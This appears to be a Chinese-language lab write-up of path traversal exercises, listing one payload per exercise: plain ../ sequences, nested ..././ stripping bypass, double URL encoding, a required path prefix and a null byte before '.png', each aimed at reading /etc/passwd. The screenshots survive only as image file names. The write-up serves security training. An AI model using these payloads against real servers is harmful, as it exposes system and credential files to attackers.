文件路径遍历，简单案例

image-20221221223924296

image-20221221224226541

../../../../etc/passwd

image-20221221224210413

文件路径遍历，绕过绝对路径阻塞的遍历序列

image-20221221230058148

../../../../etc/passwd

image-20221221230424328

绝对路径可以执行

/etc/passwd

image-20221221230439843

文件路径遍历，非递归剥离遍历序列

image-20221221232834236

image-20221221232803187

..././..././..././..././..././etc/passwd

image-20221221232727207

文件路径遍历，使用多余的 URL 解码去除的遍历序列

image-20221221233636319

%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e/etc/passwd

image-20221221233555211

文件路径遍历，路径开始验证

image-20221222002111975

/var/www/images/../../../etc/passwd

image-20221222002145388

文件路径遍历，使用空字节旁路验证文件扩展名

image-20221222002643557

../../../../etc/passwd%00.png

image-20221222002623726